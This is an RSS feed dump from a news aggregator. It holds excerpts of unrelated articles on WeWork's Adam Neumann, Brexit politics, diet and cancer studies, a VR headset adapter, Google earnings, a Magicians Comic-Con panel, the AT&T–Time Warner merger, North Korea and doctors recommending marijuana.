And how, exactly, did a college dropout from the Israeli desert charm all those investors in the first place? While Wiedeman emphasizes Neumann’s persuasiveness, he doesn’t spend a lot of time deconstructing what makes him so persuasive. But what if the answer is directly tied to the WeWork message—the one about capitalist community-spiritedness—that, in retrospect, sounds so lame?

[Read: The wildly appealing, totally doomed future of work]

“Every human society must justify its inequalities,” Thomas Piketty writes in Capital and Ideology. “Unless reasons for them are found, the whole political and social edifice stands in danger of collapse.” Billion Dollar Loser doesn’t dwell on the experiences of WeWork’s tenants, but many of them belong to an expanding class of workers—those making their own way as freelancers. More and more U.S. taxpayers have been reporting independent-contractor income; an IRS study published last year found evidence suggesting that an increasing share of companies have been hiring new workers under this status—which keeps them from being entitled to a minimum wage or unemployment insurance—instead of as employees. This sort of freelancing grew more slowly during the recovery from the Great Recession, which seems to suggest that, given the option, people would rather be employed.

But over the past decade, Silicon Valley has been at the center of an energetic campaign to convince people that this insecure status is, in fact, desirable—that an independent contractor is a member of the “sharing economy” or even, like Zuckerberg or Musk, an entrepreneur. The riches of investors, such as the ones who funded WeWork, depend on this myth; another major Benchmark and SoftBank investment is Uber, which classifies its drivers as independent contractors rather than employees.

[Derek Thompson: The Millennial urban lifestyle is about to get more expensive]

All that marketing about making people feel happier about working—in the end, maybe it was directed less at the public than at the venture capitalists Neumann was really wooing all along. If workers are insecure, the message suggested, the solution doesn’t have to be fairer wages, better job protections, or a transfer of wealth from the rich to the poor. WeWork could address the problem—and do so for hundreds of thousands of workers—with parties and beer.

Now Neumann is out. Yet SoftBank is doing just fine. It reported a historic loss of $ 13 billion in its last fiscal year, partly because of the WeWork debacle, but has since turned around, posting a $ 12 billion profit in its first quarter alone. One of its prized investments is DoorDash, the food-delivery service, whose website describes ambitions of “connecting people with possibility—easier evenings, happier days, bigger savings accounts, wider nets and stronger communities.” DoorDash is reportedly losing money, regulators have targeted it for its pricing and employment practices, and delivery workers have sued it for skimming their tips. “We created a monster,” Son admits to investors, toward the end of Billion Dollar Loser—evidently not a market niche to abandon.

This article appears in the November 2020 print edition with the headline “The WeWork Guy’s Guide to Striking It Rich.”

]]> https://briefnews.eu/how-to-get-rich-by-losing-lots-of-money/feed/ 0 Brexiteer Kwasi Kwarteng shuts down Kate Garraway’s claim Corbyn has ‘lots of support’ https://briefnews.eu/brexiteer-kwasi-kwarteng-shuts-down-kate-garraways-claim-corbyn-has-lots-of-support/ https://briefnews.eu/brexiteer-kwasi-kwarteng-shuts-down-kate-garraways-claim-corbyn-has-lots-of-support/#respond Fri, 16 Aug 2019 10:47:47 +0000 http://briefnews.eu/brexiteer-kwasi-kwarteng-shuts-down-kate-garraways-claim-corbyn-has-lots-of-support/

Jeremy Corbyn is hatching a plot to seize power from Boris Johnson and delay Brexit, with the Labour leader writing to the Liberal Democrats, the SNP and rebel Tories to ask for their support. Kwasi Kwarteng claimed only one Conservative MP, Guto Bebb, has given support to Mr Corbyn’s plan however. ITV  Good Morning Britain host Kate Garraway remarked: “He’s gaining support from all sorts of places, SNP have indicated, Plaid Cymru, other people have indicated actually.

“As I say including some of your Tory MPs, that it might be ‘no bad thing’ or the ‘worst of all’ options.”

The Tory MP for Spelthorne hit back: “I think there was one Conservative MP, and that’s up to Guto.

“He left the Government and said he’s stepping down from Parliament at the next election, and that’s up to him.

“But it was very striking to me that Jo Swinson, the newly elected leader of the Liberal Democrats, has essentially ruled out supporting Jeremy Corbyn.

“That’s up to her. I don’t know the goings-on that are happening, the conversations that are happening.

READ MORE: Rebel MP Bebb ‘collaborating with EU’ as he backs Corbyn for PM 

“What I do know is that the Government is focused on leaving the EU on October 31, which we fully intend to do.”

However, Tory MP Dominic Grieve recently said he was happy to speak to Mr Corbyn about ways in which they might “co-operate” to stop a no-deal Brexit.

He added: “Even for a short period a prime minister in a caretaker capacity has got to be somebody who can inspire trust – and such people do exist within the House of Commons and would be in a position to do that.

“I have to say that seeing Jeremy Corbyn’s history, it’s difficult to see how he could possibly be in a position to do such a thing.”

Mr Grieve said it would be a “very good idea” for someone who does not want the job as Prime Minister permanently to be in the caretaker role, but would not speculate on candidates.

“I would expect there are people in his own party and indeed the necessary Conservative backbenchers who would be unwilling to support him.

“It is nonsense.”

She added: “This letter is just more red lines that are about him and his position and is not a serious attempt to find the right solution and build a consensus to stop a no-deal Brexit.

“I am committed to working in a credible way with those in other parties, and none, across Parliament to stop a no-deal Brexit and will set out how that could work in my speech tomorrow.”

The Labour leader’s plans of delaying Brexit further by securing an extension to the Article 50 process were outlined in the letter to Westminster’s opposition leaders and key Tory rebels, including Mr Grieve and Sir Oliver Letwin.

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]]> https://briefnews.eu/brexiteer-kwasi-kwarteng-shuts-down-kate-garraways-claim-corbyn-has-lots-of-support/feed/ 0 Prostate cancer: Eating lots of this type of food may raise the risk of the disease https://briefnews.eu/prostate-cancer-eating-lots-of-this-type-of-food-may-raise-the-risk-of-the-disease/ https://briefnews.eu/prostate-cancer-eating-lots-of-this-type-of-food-may-raise-the-risk-of-the-disease/#respond Fri, 09 Nov 2018 11:53:57 +0000 http://briefnews.eu/prostate-cancer-eating-lots-of-this-type-of-food-may-raise-the-risk-of-the-disease/

PROSTATE cancer doesn’t have a specific cause, but there are certain things that can increase the risk of developing the disease. Some research has found eating this type of food may raise the chance of prostate cancer.

]]> https://briefnews.eu/prostate-cancer-eating-lots-of-this-type-of-food-may-raise-the-risk-of-the-disease/feed/ 0 Weight loss: Eating lots of this at breakfast time could help you lose 2.5 times MORE https://briefnews.eu/weight-loss-eating-lots-of-this-at-breakfast-time-could-help-you-lose-2-5-times-more/ https://briefnews.eu/weight-loss-eating-lots-of-this-at-breakfast-time-could-help-you-lose-2-5-times-more/#respond Sun, 07 Oct 2018 11:37:08 +0000 http://briefnews.eu/weight-loss-eating-lots-of-this-at-breakfast-time-could-help-you-lose-2-5-times-more/

From diet plans to boot camps, there’s plenty of things to try when it comes to trying to lose weight.

For long-term weight loss, it’s widely recommended that slimmers up their exercise, as well as attempting to cut down the amount of unhealthy foods they are eating.

While some people often end up ditching breakfast in an attempt to save time in the morning, it is said to be the most important meal of the day.

And, a study has shown that consuming a larger breakfast could actually make a dieter’s weight loss more efficient.

According to Israeli research published in the journal Obesity, opting for a higher calorie breakfast and lower calorie evening meal could mean you shed the pounds faster.

The study, which was published in Women’s Health Magazine back in 2013, took place over 12 weeks.

It looked at 74 overweight or obese women eating a daily diet of 1,400 calories – of which all respondents consumed identical amounts of protein, carbohydrates, and fat.

The women were divided into two groups, with the first eating 700 calories for breakfast – which included a chocolate bar – as well as 500 calories at lunch, and 200 calories at dinner.

Meanwhile, the other group ingested a 200-calorie breakfast, 500 calories at lunch, and 700 calories for their evening meal.

After 12 weeks, the study showed the low-calorie diets had led both groups to have shed the pounds.

But, the group who ate a larger meal in the morning, had lost two and a half times more weight than those who had enjoyed a larger dinner.

The results also showed the same group had shed 4.6 more inches from their waists, compared to the latter group.

Experts also said those who had had a larger breakfast, had slightly – but significantly – lower levels of bad cholesterol.

They also had a slight yet significant increase of “good” HDL cholesterol.

Meanwhile, hunger levels decreased for big-breakfast eaters, as well as improved satisfaction – which was opposite to the other group.

Professor at Virginia Commonwealth University, Daniela Jakubowicz M.D, who led the study, said previous research suggests a metabolism works more efficiently earlier in the day.

This means that a person’s body is less likely to store up food as fat when it is consumed in the morning.

However, while a high-calorie breakfast may boost the impact of weight loss, it’s important to remember the respondents were following a relatively balanced diet.

But, can the particular time you have your breakfast kickstart weight loss?

According to another study from the University of Illinois at Chicago, which was published in the journal Diabetic Medicine, slimmers should ideally eat between 7.30am and 9am.

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]]> https://briefnews.eu/weight-loss-eating-lots-of-this-at-breakfast-time-could-help-you-lose-2-5-times-more/feed/ 0 Vive’s wireless adapter gives the best VR experience lots of money can buy https://briefnews.eu/vives-wireless-adapter-gives-the-best-vr-experience-lots-of-money-can-buy/ https://briefnews.eu/vives-wireless-adapter-gives-the-best-vr-experience-lots-of-money-can-buy/#respond Wed, 26 Sep 2018 15:50:42 +0000 http://briefnews.eu/vives-wireless-adapter-gives-the-best-vr-experience-lots-of-money-can-buy/

Any consumer-grade VR headset you buy these days has its share of compromises. Buying a self-contained or phone-based headset (e.g. Oculus Go or Samsung’s Gear VR) means giving up the power of a full-scale PC GPU and, usually, the freedom of full-scale head and hand motion tracking. But buying a tethered headset (e.g. Oculus Rift or HTC Vive) means being permanently tied to a bulky computer tower via an obtrusive cable.

HTC’s new Vive Wireless Adapter does a fine job fixing that last particular compromise for Vive owners. With it, you can get the immersive graphical power of a high-end gaming PC and the freedom of being able to move around in a large VR space unencumbered by wires (or a bulky backpack laptop). It’s a best-of-both-worlds solution that we recommend highly—if you can spare the $ 300 in additional cost, that is.

Setting up: It just works

Read 13 remaining paragraphs | Comments

]]> https://briefnews.eu/vives-wireless-adapter-gives-the-best-vr-experience-lots-of-money-can-buy/feed/ 0 Google faced lots of challenges in 2nd quarter but Wall Street is confident earnings are unaffected (GOOG, GOOGL) https://briefnews.eu/google-faced-lots-of-challenges-in-2nd-quarter-but-wall-street-is-confident-earnings-are-unaffected-goog-googl/ https://briefnews.eu/google-faced-lots-of-challenges-in-2nd-quarter-but-wall-street-is-confident-earnings-are-unaffected-goog-googl/#respond Mon, 23 Jul 2018 17:47:46 +0000 http://briefnews.eu/google-faced-lots-of-challenges-in-2nd-quarter-but-wall-street-is-confident-earnings-are-unaffected-goog-googl/ waymo

  • Google faced an antitrust investigation in Europe and saw thousands of employees protest the company’s AI work with the military and even saw a woman shoot up YouTube’s headquarters during the second quarter.
  • Wall Street analysts expect that none of it harmed the company’s financial performance.
  • Analysts expect the company to report net revenue of to $ 25.6 billion,  a 22 percent increase from the same period last year. 

The way Wall Street analysts see things, Google has shrugged off most of the significant hurdles faced in the past quarter.

Alphabet Inc., Google’s parent company, is due to report second-quarter earnings after the bell on Monday.

See the rest of the story at Business Insider

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SEE ALSO: We tested Google’s AI booking service Duplex, and it fooled us into believing it was human

]]> https://briefnews.eu/google-faced-lots-of-challenges-in-2nd-quarter-but-wall-street-is-confident-earnings-are-unaffected-goog-googl/feed/ 0 If the ‘Magicians’ Comic-Con Panel is Any Indication, Season 4 is Going to Be Crazy and Lots of Fun [Comic-Con 2018] https://briefnews.eu/if-the-magicians-comic-con-panel-is-any-indication-season-4-is-going-to-be-crazy-and-lots-of-fun-comic-con-2018/ https://briefnews.eu/if-the-magicians-comic-con-panel-is-any-indication-season-4-is-going-to-be-crazy-and-lots-of-fun-comic-con-2018/#respond Mon, 23 Jul 2018 10:22:27 +0000 http://briefnews.eu/if-the-magicians-comic-con-panel-is-any-indication-season-4-is-going-to-be-crazy-and-lots-of-fun-comic-con-2018/ the magicians comic-con

“Can you tell we were drinking tequila in the green room?” showrunner Sera Gamble asked at one point during The Magicians panel at San Diego Comic-Con.

The answer to Gamble’s question was yes, but it was a wonderful thing to see Gamble, her fellow executive producer John McNamara and cast members Jason Ralph, Stella Maeve, Olivia Taylor Dudley, Hale Appleman and Summer Bishil enjoying each other’s company and having a rowdy time on stage. Tequila or no tequila, it was clear that they all genuinely liked each other, and the panel was full of jokes and laughter as they took audience questions and tried to avoid spoiling anything from Season 4.

Felicia Day joined in the fun as the panel’s moderator, and kicked off the show by introducing a clip that recapped what happened in Season 3. I won’t go into the specifics of the last season here, except to say that it ended on a cliffhanger, with most of the cast’s minds being wiped and given alternative lives and personas. “We have an unspoken rule that at the end of a season of a TV show – just for good luck and hoping you’ll get another season – to just fuck everybody as hard as you possibly can,” Gamble said when asked about the end of Season 3.

Gamble and McNamara certainly effed things up for the main characters at the end of last season, and also admitted that they initially weren’t sure where the story would go in the fourth or even if they had a fourth season at all. “That was one of my favorite conversations with the network,” McNamara jokingly explained. When the network asked McNamara what would happen if the show continued, his answer was: “I don’t know. Why don’t you pick the show up?”

On a slightly more serious note, Gamble expanded a bit on the writing philosophy of The Magicians: “We live and die as writers on the idea that it’s good to be stuck, that it’s good to run out of story. It’s really good when we don’t know what happens next, because that means hopefully you guys don’t know what’s going to happen next either.”

Luckily for Magicians fans, SyFy did pick up the show for another season. Gamble, McNamara and the rest of the writing team have also figured out at least the beginning of Season 4, as the cast just finished shooting the fourth episode.

But even though the writers and actors know how next season will start, the panel was very careful to stay away from spoilers, even in the hilarious teaser video that was screened for the audience. While light in details, the teaser did give an overview of the new personas Dean Fogg magically imprinted on everyone: Quentin now smiles a lot and is a professor called Brian (or “Bri-Guy” as Ralph calls him); Julia is now an architect named Kim; Margo is now called Janet and is involved in high fashion; Fen becomes Jade, who is a gun-wielding badass; Josh is Isaac the Uber driver; Penny is the wonderfully named DJ Hansel, and Elliott is…well, no one really knows what Elliott is now, beyond that he’s possessed by a big bad monster that, according to Appleman, was initially based on imagining a nine-year-old without any empathy or impulse control.

And while nothing concrete was mentioned, there were some hints of what may come. Bishil’s character Margo (AKA Janet) apparently has a few scenes with Josh (AKA Isaac), and Gamble coyly suggested that Olivia Taylor Dudley, who plays Alice on the show and sang during the third season’s musical episode, may sing again in the future.

But whatever is in store for The Magicians’ beloved characters, fans can be sure that both the writers and the actors are giving their all to the show. “Everybody brings their A-Game,” McNamara explained. “And some of us have really weird A-Games.”  We’ll just have to wait and see how weird their A-Games can get next year.

The fourth season of The Magicians will air on SyFy in 2019.

The post If the ‘Magicians’ Comic-Con Panel is Any Indication, Season 4 is Going to Be Crazy and Lots of Fun [Comic-Con 2018] appeared first on /Film.

]]> https://briefnews.eu/if-the-magicians-comic-con-panel-is-any-indication-season-4-is-going-to-be-crazy-and-lots-of-fun-comic-con-2018/feed/ 0 You might see lots of digital mashups of your favorite TV shows now that AT&T owns Time Warner https://briefnews.eu/you-might-see-lots-of-digital-mashups-of-your-favorite-tv-shows-now-that-att-owns-time-warner/ https://briefnews.eu/you-might-see-lots-of-digital-mashups-of-your-favorite-tv-shows-now-that-att-owns-time-warner/#respond Mon, 18 Jun 2018 22:50:57 +0000 http://briefnews.eu/you-might-see-lots-of-digital-mashups-of-your-favorite-tv-shows-now-that-att-owns-time-warner/ Game of Thrones

  • AT&T won approval to merge with Time Warner last week. 
  • America’s largest telecom will now own premium Time Warner content like HBO and TNT.
  • Now that the $ 85 billion megamerger has officially come to a close, consumers may soon see changes to content offerings, Jason Leigh, a research analyst at IDC, told Business Insider.

AT&T and Time Warner won a landmark ruling last week, allowing their merger to continue without conditions.

The merger joins AT&T’s vast Internet distribution network with Time Warner’s coveted premium content, like HBO, TNT, and CNN.

See the rest of the story at Business Insider

NOW WATCH: This top economist has a radical plan to change the way Americans vote

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SEE ALSO: A judge approved the $ 85 billion merger between AT&T and Time Warner — and it will affect the future of media M&A for decades to come

]]> https://briefnews.eu/you-might-see-lots-of-digital-mashups-of-your-favorite-tv-shows-now-that-att-owns-time-warner/feed/ 0 North Korea Has Promised to Denuclearize Lots of Times Already https://briefnews.eu/north-korea-has-promised-to-denuclearize-lots-of-times-already/ https://briefnews.eu/north-korea-has-promised-to-denuclearize-lots-of-times-already/#respond Tue, 12 Jun 2018 19:47:23 +0000 http://briefnews.eu/north-korea-has-promised-to-denuclearize-lots-of-times-already/ Donald Trump got out of Kim Jong Un a promise that North Korea has already made—and broken—multiple times.


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]]> https://briefnews.eu/north-korea-has-promised-to-denuclearize-lots-of-times-already/feed/ 0 Lots of Doctors Recommend Weed Without Understanding It https://briefnews.eu/lots-of-doctors-recommend-weed-without-understanding-it/ https://briefnews.eu/lots-of-doctors-recommend-weed-without-understanding-it/#respond Fri, 11 May 2018 03:25:09 +0000 http://briefnews.eu/lots-of-doctors-recommend-weed-without-understanding-it/ Half of oncologists who recommended marijuana did so without feeling they had sufficient knowledge of the drug.


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